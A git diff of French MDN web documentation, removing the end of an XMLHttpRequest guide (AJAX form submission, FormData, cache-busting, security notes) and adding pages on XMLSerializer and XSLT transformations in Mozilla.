-          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
-          for (nFile = 0; nFile < oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
-        }
-      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
-        /* field type is not FILE or is FILE but is empty */
-        this.segments.push(
-          this.technique === 3 ? /* enctype is multipart/form-data */
-            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
-          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
-            fFilter(oField.name) + "=" + fFilter(oField.value)
-        );
-      }
-    }
-    processStatus(this);
-  }
-
-  return function (oFormElement) {
-    if (!oFormElement.action) { return; }
-    new SubmitRequest(oFormElement);
-  };
-
-})();
-
-</script>
-</head>
-<body>
-
-<h1>Sending forms with pure AJAX</h1>
-
-<h2>Using the GET method</h2>
-
-<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Registration example</legend>
-    <p>
-      First name: <input type="text" name="firstname" /><br />
-      Last name: <input type="text" name="lastname" />
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-<h2>Using the POST method</h2>
-<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
-
-<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Registration example</legend>
-    <p>
-      First name: <input type="text" name="firstname" /><br />
-      Last name: <input type="text" name="lastname" />
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-<h3>Enctype: text/plain</h3>
-
-<form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Registration example</legend>
-    <p>
-      Your name: <input type="text" name="user" />
-    </p>
-    <p>
-      Your message:<br />
-      <textarea name="message" cols="40" rows="8"></textarea>
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-<h3>Enctype: multipart/form-data</h3>
-
-<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Upload example</legend>
-    <p>
-      First name: <input type="text" name="firstname" /><br />
-      Last name: <input type="text" name="lastname" /><br />
-      Sex:
-      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
-      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
-      Password: <input type="password" name="secret" /><br />
-      What do you prefer:
-      <select name="image_type">
-        <option>Books</option>
-        <option>Cinema</option>
-        <option>TV</option>
-      </select>
-    </p>
-    <p>
-      Post your photos:
-      <input type="file" multiple name="photos[]">
-    </p>
-    <p>
-      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
-      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
-    </p>
-    <p>
-      Describe yourself:<br />
-      <textarea name="description" cols="50" rows="8"></textarea>
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-</body>
-</html>
-
- -

Pour le tester, créez une page nommée register.php (qui est l'attribut action des formulaires d'exemple) et mettez y ce contenu minimaliste:

- -
<?php
-/* register.php */
-
-header("Content-type: text/plain");
-
-/*
-NOTE: You should never use `print_r()` in production scripts, or
-otherwise output client-submitted data without sanitizing it first.
-Failing to sanitize can lead to cross-site scripting vulnerabilities.
-*/
-
-echo ":: data received via GET ::\n\n";
-print_r($_GET);
-
-echo "\n\n:: Data received via POST ::\n\n";
-print_r($_POST);
-
-echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
-if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
-
-echo "\n\n:: Files received ::\n\n";
-print_r($_FILES);
-
-
- -

La syntaxe de ce script est la suivante:

- -
AJAXSubmit(myForm);
- -
Note: Ce framework utilise l'API FileReader pour transmettre les fichiers uploadés. C'est une API récente qui n'est pas implémentée dans IE9 ou inférieur. Pour cette raison, l'upload via AJAX uniquement est une technique expérimentale. Si vous n'avez pas besoin de transférer des fichiers binaires, ce framework fonctionne bien dans la majorité des navigateurs.
- -
Note: La meilleure façon d'envoyer du contenu binaire est de passer par ArrayBuffers ou Blobs en conjonction avec la méthode send() et possiblement avec la méthode readAsArrayBuffer() de l'API FileReader. Mais dans la mesure où le but de ce script est de fonctionner avec des données chaînifiable, nous avons utilisé la méthode sendAsBinary() en conjonction avec la méthode readAsBinaryString() de l'API FileReader. Du coup, le script ci-dessous n'a de sens que quand vous voulez transférer de petits fichiers. Si vous n'avez pas l'intention de transférer des données binaires, songez plutôt à utilisez l'API FormData.
- -
Note: La méthode non-strandard sendAsBinary est dépréciée à partir de Gecko 31 {{ geckoRelease(31) }} et sera prochainement supprimée. La méthode standard send(Blob data) peut être utilisée à la place.
- -

Utiliser les objets FormData

- -

Le constructeur de FormData vous permet de compiler des paires de clé/valeur à envoyer via XMLHttpRequest. Il est principalement prévu pour être utilisé dans l'envoi de formulaires, mais il peut être utilisé indépendemment des formulaires dans le but de transmettre des données associées. Les données transmises sont de même format que la méthode submit() d'un formulaire utiliserait pour envoyer les données si l'encodage du formulaire était configuré à "multipart/form-data". Les objets FormData peuvent être utilisés de nombreuses manières avec XMLHttpRequest. Pour des exemples et des explications sur la manière d'utiliser FormData avec une XMLHttpRequest, jettez un oeil sur la page Utiliser les Objets FormData. Pour des raisons didactiques seulement, nous postons ici une traduction du précédent exemple transformé pour utiliser l'API FormData. Notez la brièveté du code :

- -
-
<!doctype html>
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-<title>Sending forms with FormData &ndash; MDN</title>
-<script type="text/javascript">
-"use strict";
-
-function ajaxSuccess () {
-  alert(this.responseText);
-}
-
-function AJAXSubmit (oFormElement) {
-  if (!oFormElement.action) { return; }
-  var oReq = new XMLHttpRequest();
-  oReq.onload = ajaxSuccess;
-  if (oFormElement.method.toLowerCase() === "post") {
-    oReq.open("post", oFormElement.action, true);
-    oReq.send(new FormData(oFormElement));
-  } else {
-    var oField, sFieldType, nFile, sSearch = "";
-    for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
-      oField = oFormElement.elements[nItem];
-      if (!oField.hasAttribute("name")) { continue; }
-      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
-      if (sFieldType === "FILE") {
-        for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
-      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
-        sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
-      }
-    }
-    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true);
-    oReq.send(null);
-  }
-}
-</script>
-</head>
-<body>
-
-<h1>Sending forms with FormData</h1>
-
-<h2>Using the GET method</h2>
-
-<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Registration example</legend>
-    <p>
-      First name: <input type="text" name="firstname" /><br />
-      Last name: <input type="text" name="lastname" />
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-<h2>Using the POST method</h2>
-<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
-
-<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Registration example</legend>
-    <p>
-      First name: <input type="text" name="firstname" /><br />
-      Last name: <input type="text" name="lastname" />
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-<h3>Enctype: text/plain</h3>
-
-<p>The text/plain encoding is not supported by the FormData API.</p>
-
-<h3>Enctype: multipart/form-data</h3>
-
-<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
-  <fieldset>
-    <legend>Upload example</legend>
-    <p>
-      First name: <input type="text" name="firstname" /><br />
-      Last name: <input type="text" name="lastname" /><br />
-      Sex:
-      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
-      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
-      Password: <input type="password" name="secret" /><br />
-      What do you prefer:
-      <select name="image_type">
-        <option>Books</option>
-        <option>Cinema</option>
-        <option>TV</option>
-      </select>
-    </p>
-    <p>
-      Post your photos:
-      <input type="file" multiple name="photos[]">
-    </p>
-    <p>
-      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
-      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
-    </p>
-    <p>
-      Describe yourself:<br />
-      <textarea name="description" cols="50" rows="8"></textarea>
-    </p>
-    <p>
-      <input type="submit" value="Submit" />
-    </p>
-  </fieldset>
-</form>
-
-</body>
-</html>
-
- -
Note: Comme déjà dit, les objets {{domxref("FormData")}} ne sont pas des objets chainifiables. Si vous voulez chainifier les données soumises, utilisez l'exemple précédent en pure-AJAX. Notez également que, bien que dans cet exemple il y a quelques champs file {{ HTMLElement("input") }}, quand vous soumettez un formulaire via l'API FormData vous n'avez pas besoin d'utiliser l'API FileReader également : les fichiers sont automatiquement chargés et transférés.
- -

Récupérer la date de modification

- -
function getHeaderTime () {
-  alert(this.getResponseHeader("Last-Modified"));  /* Une chaine valide GMTString ou null */
-}
-
-var oReq = new XMLHttpRequest();
-oReq.open("HEAD" /* utilisez HEAD seulement si vous ne voulez que les headers ! */, "mapage.html", true);
-oReq.onload = getHeaderTime;
-oReq.send();
- -

Faire quelque chose quand la date de dernière modification change

- -

Créons deux fonctions:

- -
function getHeaderTime () {
-
-  var
-    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
-    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
-
-  if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
-    window.localStorage.setItem('lm_' + this.filepath, Date.now());
-    isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit);
-  }
-
-}
-
-function ifHasChanged(sURL, fCallback) {
-  var oReq = new XMLHttpRequest();
-  oReq.open("HEAD" /* utilisons HEAD - nous ne voulons que les Headers ! */, sURL, true);
-  oReq.callback = fCallback;
-  oReq.filepath = sURL;
-  oReq.onload = getHeaderTime;
-  oReq.send();
-}
- -

Test:

- -
/* Testons le fichier "mapage.html"... */
-
-ifHasChanged("mapage.html", function (nModif, nVisit) {
-  alert("La page '" + this.filepath + "' a été changée le " + (new Date(nModif)).toLocaleString() + "!");
-});
- -

Si vous voulez savoir si la page courante a changée, lisez l'article à propos de la propriété document.lastModified.

- -

Cross-site XMLHttpRequest

- -

Les navigateurs récents supportent les requêtes cross-site en implémentant le Standard Access Control for Cross-Site Requests (Web Application Working Group).  Tant que le serveur est configuré pour autoriser les requêtes depuis l'origine de votre web application, XMLHttpRequest fonctionnera. Sinon, une exception INVALID_ACCESS_ERR sera lancée.

- -

Contourner le cache

- -

Une approche cross-browser pour contourner le cache est d'ajouter le timestamp à l'URL, en étant sûr d'inclure un "?" ou un "&" selon les cas. Par exemple :

- -
http://foo.com/bar.html -> http://foo.com/bar.html?12345
-http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345
-
- -

Comme le cache local est indexé selon les URL, celà permet à toutes les requêtes d'être uniques, et du coup de contourner le cache.

- -

Vous pouvez automatiquement ajuster les URL en utilisant le code suivant :

- -
var oReq = new XMLHttpRequest();
-
-oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true);
-oReq.send(null);
- -

Sécurité

- -

{{fx_minversion_note(3, "Les versions de Firefox avant Firefox 3 autorisaient à mettre les préférences capability.policy.<policyname>.XMLHttpRequest.open</policyname> à allAccess pour donner l'accès cross-sites à des sites spécifiques. Cela n'est plus possible.")}}

- -

{{fx_minversion_note(5, "Les versions de Firefox avant Firefox 5 pouvaient utiliser netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\"); pour demander un accès cross-site. Ce n'est plus supporté, me^me si cela ne produit aucun avertissement et que la demande de permission est toujours présente.")}}

- -

La manière recommandée d'activer les requêtes cross-sites est d'utiliser le header HTTP Access-Control-Allow-Origin dans la réponse du XMLHttpRequest.

- -

XMLHttpRequests stoppées

- -

Si vous vous retrouvez avec une XMLHttpRequest ayant status=0 et statusText=null, cela signifie que la requête n'a pas été autorisée à être effectuée. Elle a été UNSENT. Une cause probable est lorsque l'origine XMLHttpRequest  (lors de la création de l'objet XMLHttpRequest) a changé quand l'objet XMLHttpRequest est déjà open(). Ce cas peut se produire par exemple lorsque l'on a une XMLHttpRequest qui est lancée sur un évènement onunload d'une fenêtre: l'objet XMLHttpRequest est en fait créé lorsque la fenêtre sur le point de se fermer est toujours là, et la demande est envoyée (c'est à dire open()) lorsque cette fenêtre a perdu son focus et une autre fenêtre a potentiellement pris le focus. La manière d'éviter ce problème est de fixer un écouteur sur l'évènement "activate" de la nouvelle fenêtre qui se lance quand l'ancienne fenêtre a son événement "unload" lancé.

- -

Utiliser XMLHttpRequest depuis un module JavaScript / un composant XPCOM

- -

Instancier une XMLHttpRequest depuis un module JavaScript ou un composant XPCOM fonctionne un peu différemment; on ne peut pas l'instancier via le constructeur XMLHttpRequest(). Le constructeur n'est pas défini dans le composant et le code retourne une erreur. Le meilleur moyen de fixer le problème est d'utiliser le constructeur du composant XPCOM.

- -
const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
-
- -

Malheureusement dans les versions de Gecko avant Gecko 16 il y a un bug : les requêtes créées ainsi peuvent être annulées sans raison. Si votre code doit marcher sur Gecko 15 ou moins, vous pouvez utiliser le constructeur XMLHttpRequest depuis le DOM caché de la fenêtre comme ceci :

- -
const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
-                                     .getService(Components.interfaces.nsIAppShellService)
-                                     .hiddenDOMWindow;
-var oReq = new XMLHttpRequest();
- -

Voir aussi

- -
    -
  1. MDN AJAX introduction
    2. -
  2. HTTP access control
    3. -
  3. How to check the security state of an XMLHTTPRequest over SSL
    4. -
  4. XMLHttpRequest - REST and the Rich User Experience
    5. -
  5. Microsoft documentation
    6. -
  6. Apple developers' reference
    7. -
  7. "Using the XMLHttpRequest Object" (jibbering.com)
    8. -
  8. The XMLHttpRequest Object: W3C Specification
    9. -
  9. Web Progress Events specification
    10. -
  10. XMLHttpRequest (Référence Web API)
    11. -
diff --git a/files/fr/web/api/xmlserializer/index.html b/files/fr/web/api/xmlserializer/index.html new file mode 100644 index 0000000000..feb76df6e0 --- /dev/null +++ b/files/fr/web/api/xmlserializer/index.html @@ -0,0 +1,54 @@ +--- +title: XMLSerializer +slug: XMLSerializer +tags: + - XML +translation_of: Web/API/XMLSerializer +--- +

 

+

XMLSerializer sert à convertir des sous-arborescence DOM ou des documents DOM en texte. XMLSerializer est accessible aux scripts sans privilèges.

+
+

XMLSerializer sert le plus souvent aux applications et extensions basées sur la plateforme Mozilla. Bien qu'il soit utilisable par les pages Web, il ne fait partie d'aucun standard et son niveau de support dans les autres navigateurs est inconnu.

+
+

Méthodes

+
+
+ serializeToString
+
+ Retourne la sous-arborescence sérialisée sous la forme d'une chaîne de caractères
+
+ serializeToStream
+
+ La sous-arborescence débutant par l'élément spécifié est sérialisée en un flux d'octets en utilisant l'encodage de caractères indiqué.
+
+

Exemple

+
 var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ alert(str);
+
+
 var s = new XMLSerializer();
+ var stream = {
+   close : function()
+   {
+     alert("Flux fermé");
+   },
+   flush : function()
+   {
+   },
+   write : function(string, count)
+   {
+     alert("'" + string + "'\n nb d'octets : " + count + "");
+   }
+ };
+ s.serializeToStream(document, stream, "UTF-8");
+
+

Voir également

+ diff --git a/files/fr/web/api/xsltprocessor/basic_example/index.html b/files/fr/web/api/xsltprocessor/basic_example/index.html new file mode 100644 index 0000000000..8d78422777 --- /dev/null +++ b/files/fr/web/api/xsltprocessor/basic_example/index.html @@ -0,0 +1,65 @@ +--- +title: Exemple basique +slug: XSLT_dans_Gecko/Exemple_basique +translation_of: Web/API/XSLTProcessor/Basic_Example +--- +

    +
  1. Introduction
    2. +
  2. Exemple basique
    3. +
  3. Génération de HTML
    4. +
  4. Différences entre les navigateurs
    5. +
  5. Ressources
    6. +

+ +

Exemple basique

+ +

Ce premier exemple présente les bases de l'utilisation d'une transformation XSLT dans un navigateur. L'exemple utilise un document XML qui contient des informations (titre, liste d'auteurs et corps de texte) à propos d'un article pour en tirer une version lisible par un humain.

+ +

La figure 1 montre le code source de l'exemple XSLT. Le document XML (exemple.xml) contient les informations à propos de l'article. En utilisant l'instruction de traitement ?xml-stylesheet?, il est lié à la feuille de style XSLT (exemple.xsl) via son attribut href.

+ +

Une feuille de style XSLT débute par l'élément xsl:stylesheet, qui contient tous les modèles utilisés pour créer le résultat final. L'exemple de la figure 1 possède deux modèles - un qui s'applique au nœud racine et un aux nœuds Author. Le modèle correspondant au nœud racine produit en sortie le titre de l'article puis déclenche le traitement de tous les autres modèles (via apply-templates) correspondant aux nœuds Author qui sont les descendants du nœud Authors.

+ +

Figure 1 : exemple XSLT simple

+ +

Document XML (exemple.xml) :

+ +
  <?xml version="1.0"?>
+  <?xml-stylesheet type="text/xsl" href="exemple.xsl"?>
+  <Article>
+    <Title>Mon article</Title>
+    <Authors>
+      <Author>M. Foo</Author>
+      <Author>M. Bar</Author>
+    </Authors>
+    <Body>Ceci est le texte de mon article.</Body>
+  </Article>
+
+ +

Feuille de style XSL (exemple.xsl) :

+ +
  <?xml version="1.0"?>
+  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+
+    <xsl:output method="text"/>
+
+    <xsl:template match="/">
+      Article - <xsl:value-of select="/Article/Title"/>
+      Auteurs : <xsl:apply-templates select="/Article/Authors/Author"/>
+    </xsl:template>
+
+    <xsl:template match="Author">
+      - <xsl:value-of select="." />
+    </xsl:template>
+
+  </xsl:stylesheet>
+
+ +

Sortie dans le navigateur :

+ +
  Article - Mon article
+  Auteurs :
+  - M. Foo
+  - M. Bar
+
+ +

{{PreviousNext("XSLT dans Gecko", "XSLT dans Gecko:Génération de HTML")}}

diff --git a/files/fr/web/api/xsltprocessor/browser_differences/index.html b/files/fr/web/api/xsltprocessor/browser_differences/index.html new file mode 100644 index 0000000000..5b5a0c99c3 --- /dev/null +++ b/files/fr/web/api/xsltprocessor/browser_differences/index.html @@ -0,0 +1,22 @@ +--- +title: Différences entre les navigateurs +slug: XSLT_dans_Gecko/Différences_entre_les_navigateurs +translation_of: Web/API/XSLTProcessor/Browser_Differences +--- +

    +
  1. Introduction
    2. +
  2. Exemple basique
    3. +
  3. Génération de HTML
    4. +
  4. Différences entre les navigateurs
    5. +
  5. Ressources
    6. +

+ +

Différences entre les navigateurs

+ +
    +
  • Netscape 7.x (toutes plateformes confondues) et Internet Explorer 6 (Windows) support ent la recommandation XSLT 1.0 (en) du W3C.
    • +
  • IE 5.0 et 5.5 (Windows) ne supportent que le brouillon de travail de XSLT, et ne sont donc pas compatibles avec les feuilles de style XSLT 1.0.
    • +
  • Netscape 6.x ne supporte que partiellement XSLT 1.0.
    • +
+ +

{{PreviousNext("XSLT dans Gecko:Génération de HTML", "XSLT dans Gecko:Ressources")}}

diff --git a/files/fr/web/api/xsltprocessor/generating_html/index.html b/files/fr/web/api/xsltprocessor/generating_html/index.html new file mode 100644 index 0000000000..ca333bb2ac --- /dev/null +++ b/files/fr/web/api/xsltprocessor/generating_html/index.html @@ -0,0 +1,190 @@ +--- +title: Génération de HTML +slug: XSLT_dans_Gecko/Génération_de_HTML +translation_of: Web/API/XSLTProcessor/Generating_HTML +--- +

    +
  1. Introduction
    2. +
  2. Exemple basique
    3. +
  3. Génération de HTML
    4. +
  4. Différences entre les navigateurs
    5. +
  5. Ressources
    6. +

+ +

Génération de HTML

+ +

Une application courante de XSLT dans les navigateurs est la transformation de code XML en HTML du coté du client. Le second exemple va transformer un document d'entrée (example2.xml), qui contient des informations à propos d'un article, en un document HTML.

+ +

L'élément <body> de l'article contient maintenant des éléments HTML (des balises <strong> et <em>, voir la figure 2). Le document XML contient à la fois des éléments HTML et éléments XML, mais un seul espace de nommage est nécessaire, pour les éléments XML. Comme il n'existe pas d'espace de nommage HTML, et que l'utilisation de l'espace de nommage XHTML forcerait le XSL à créer un document XML qui pourrait ne pas se comporter comme un document HTML, le nœud xsl:output de la feuille de style assure que le document résultant sera bien traité comme du HTML. Pour les éléments XML, nous avons besoin de notre propre espace de nommage, http://devedge.netscape.com/2002/de, à qui nous donnons le préfixe myNS (xmlns:myNS="http://devedge.netscape.com/2002/de").

+ +

Figure 2 : fichier XML (example2.xml)voir l'exemple | voir le source Document XML (example2.xml): <div style="background: #EEE; font-size: 1.1em; line-height: 1.1em; border: dashed #666 1px; padding: 15px 20px 15px 20px; overflow: auto;">

+ +
<?xml version="1.0"?>
+<?xml-stylesheet type="text/xsl" href="example.xsl"?>
+  <myNS:Article xmlns:myNS="http://devedge.netscape.com/2002/de">
+    <myNS:Title>Mon article</myNS:Title>
+    <myNS:Authors>
+      <myNS:Author company="Foopy Corp.">M. Foo</myNS:Author>
+      <myNS:Author>M. Bar</myNS:Author>
+    </myNS:Authors>
+    <myNS:Body>
+      En <em>Espagne</em>, les <strong>pluies</strong> se concentrent
+      principalement dans les plaines.
+    </myNS:Body>
+  </myNS:Article>
+
+ +

La feuille de style XSL utilisée aura besoin de deux espaces de nommage - un pour les éléments XSLT et un pour nos propres éléments XML utilisés dans le document XML. La sortie de la feuille de style XSL est définie à HTML à l'aide de l'élément xsl:output. En définissant la sortie comme étant du code HTML et en n'ayant pas d'espace de nommage pour les éléments résultants (coloré en bleu), ces éléments seront traités comme des éléments HTML.

+ +

Figure 3 : feuille de style XSL avec 2 espaces de nommage (example2.xsl) feuille de style XSL (example2.xsl):

+ +
  <?xml version="1.0"?>
+  <xsl:stylesheet version="1.0"
+                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                           xmlns:myNS="http://devedge.netscape.com/2002/de">
+
+    <xsl:output method="html"/>
+    ...
+  </xsl:stylesheet>
+
+ +

Un modèle s'appliquant au nœud racine du document XML est créé et utilisé pour créer la structure de base de la page HTML.

+ +

Figure 4 : Création du document HTML de base feuille de style XSL (example2.xsl):

+ +
  ...
+  <xsl:template match="/">
+  <html>
+
+    <head>
+
+      <title>
+        <xsl:value-of select="/myNS:Article/myNS:Title"/>
+      </title>
+
+      <style type="text/css">
+        .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
+      </style>
+
+    </head>
+
+    <body>
+      <p class="myBox">
+        <span class="title">
+          <xsl:value-of select="/myNS:Article/myNS:Title"/>
+        </span> <br />
+
+        Auteurs :   <br />
+          <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/>
+      </p>
+
+      <p class="myBox">
+        <xsl:apply-templates select="//myNS:Body"/>
+      </p>
+
+    </body>
+
+  </html>
+  </xsl:template>
+  ...
+
+ +

Nous avons besoin de trois xsl:template supplémentaires pour parachever l'exemple. Le premier xsl:template est utilisé pour les nœuds Author, alors que le deuxième traite le nœud body. Le troisième possède une règle de correspondance générale qui lui permet de s'appliquer à chaque nœud et chaque attribut. Cela est nécessaire afin de préserver les éléments HTML présents dans le document XML : il s'appliquant à tous, et les recopie dans le document HTML créé par la transformation.

+ +

Figure 5 : Les 3 modèles finaux feuille de style XSL (example2.xsl):

+ +
  ...
+  <xsl:template match="myNS:Author">
+     --   <xsl:value-of select="." />
+
+    <xsl:if test="@company">
+     ::   <strong>  <xsl:value-of select="@company" />  </strong>
+    </xsl:if>
+
+    <br />
+  </xsl:template>
+
+  <xsl:template match="myNS:Body">
+    <xsl:copy>
+      <xsl:apply-templates select="@*|node()"/>
+    </xsl:copy>
+  </xsl:template>
+
+  <xsl:template match="@*|node()">
+    <xsl:copy>
+      <xsl:apply-templates select="@*|node()"/>
+    </xsl:copy>
+  </xsl:template>
+  ...
+
+ +

La feuille de style XSLT finale est donc :

+ +

Figure 6 : feuille de style XSLT finale voir l'exemple | voir le source feuille de style XSL :

+ +
  <?xml version="1.0"?>
+  <xsl:stylesheet version="1.0"
+                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                           xmlns:myNS="http://devedge.netscape.com/2002/de">
+
+    <xsl:output method="html" />
+
+    <xsl:template match="/">
+      <html>
+
+        <head>
+
+          <title>
+            <xsl:value-of select="/myNS:Article/myNS:Title"/>
+          </title>
+
+          <style type="text/css">
+            .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
+          </style>
+
+        </head>
+
+        <body>
+          <p class="myBox">
+            <span class="title">
+              <xsl:value-of select="/myNS:Article/myNS:Title"/>
+            </span> <br />
+
+            Authors:   <br />
+              <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/>
+            </p>
+
+          <p class="myBox">
+            <xsl:apply-templates select="//myNS:Body"/>
+          </p>
+
+        </body>
+
+      </html>
+    </xsl:template>
+
+    <xsl:template match="myNS:Author">
+       --   <xsl:value-of select="." />
+
+      <xsl:if test="@company">
+       ::   <b>  <xsl:value-of select="@company" />  </b>
+      </xsl:if>
+
+      <br />
+    </xsl:template>
+
+    <xsl:template match="myNS:Body">
+      <xsl:copy>
+        <xsl:apply-templates select="@*|node()"/>
+      </xsl:copy>
+    </xsl:template>
+
+    <xsl:template match="@*|node()">
+        <xsl:copy>
+          <xsl:apply-templates select="@*|node()"/>
+        </xsl:copy>
+    </xsl:template>
+  </xsl:stylesheet>
+
+ +

{{PreviousNext("XSLT dans Gecko:Exemple basique", "XSLT dans Gecko:Différences entre les navigateurs")}}

diff --git a/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.html b/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.html new file mode 100644 index 0000000000..16413c5d89 --- /dev/null +++ b/files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.html @@ -0,0 +1,60 @@ +--- +title: FAQ sur les transformations XSL dans Mozilla +slug: FAQ_sur_les_transformations_XSL_dans_Mozilla +tags: + - XSLT +translation_of: Web/API/XSLTProcessor/XSL_Transformations_in_Mozilla_FAQ +--- +

+

+

Pourquoi ma feuille de style ne s'applique pas ?

+

Vérifiez que le type MIME du document source et de la feuille de style est bien un type MIME XML, à savoir text/xml ou application/xml. L'espace de nommage XSLT est http://www.w3.org/1999/XSL/Transform. Utilisez l'instruction de traitement <?xml-stylesheet ?> plutôt que l'élément non standard xml:stylesheet. Le problème le plus courant est la gestion du type MIME. Pour savoir quel type MIME est envoyé par votre serveur, consultez les Informations sur la page, utilisez une extension telle que LiveHTTPHeaders (en) ou un gestionnaire de téléchargements comme wget. Mozilla ne chargera pas les feuilles de style XSLT depuis un domaine différent pour des raisons de sécurité. +

+

Cela fonctione dans IE, mais pas dans Mozilla ?

+

Il y a plus que cette "simple" différence. Nous suspectons que la plupart des différences proviennent de ce que fait IE après la transformation. IE (pour autant que l'on puisse dire) sérialise et analyse la sortie avant de générer ce qu'il rend. Mozilla, au contraire, rend exactement le résultat du votre transformation. +

+

Puis-je désactiver l'échappement de la sortie avec disable-output-escaping ?

+

Cette question est en fait très proche de la précédente. Pour faire court, non. Désactiver l'échappement en sortie nécessite que nous ajoutions une étape d'analyse à la génération de notre sortie, ce que nous ne voulons pas. Dans la plupart des cas, il existe des contournements assez facile à mettre en œuvre. Les seuls cas d'utilisation que nous ayons vu jusqu'à présent sont du mauvais XML, du mauvais XSLT, ou les flux RSS. Ce dernier est pour nous le seul problème, et nous sommes désolé de ne pouvoir le supporter, mais mélanger l'analyse avec le XSLT est à risque et nous préférons ne pas le supporter d-o-e plutôt que de provoquer des crashes ou de ralentir le processus. +

+

Que dire de document.write ?

+

Tout comme pour le XHTML, document.write n'est pas supporté pendant les transformations XSLT. Malheureusement, les compilations actuelles ne retournent pas d'erreur, mais donnent simplement des résultats inattendus, comme des crashes ({{ Bug(202765) }}). Dans la plupart des cas il n'y a en fait aucune raison de l'utiliser. Si vous avez besoin d'employer du code ou une feuille de style spécifique à une plate-forme, utilisez ce qui suit : +

+
      <xsl:if test="system-property('xsl:vendor')='Transformiix'">
+        <!-- Balisage propre à Mozilla -->
+      </xsl:if>
+      <xsl:if test="system-property('xsl:vendor')='Microsoft'">
+        <!-- Balisage propre à IE -->
+      </xsl:if>
+
+

Vérifiez system-properties.xml pour les propriétés de votre système favori. MSXML possède une propriété supplémentaire : +

+
      <xsl:if xmlns:msxsl="urn:schemas-microsoft-com:xslt"
+              test="system-property('msxsl:version')=3">
+        <!-- MSXML3 specific markup -->
+      </xsl:if>
+
+

Que dire de media="print"?

+

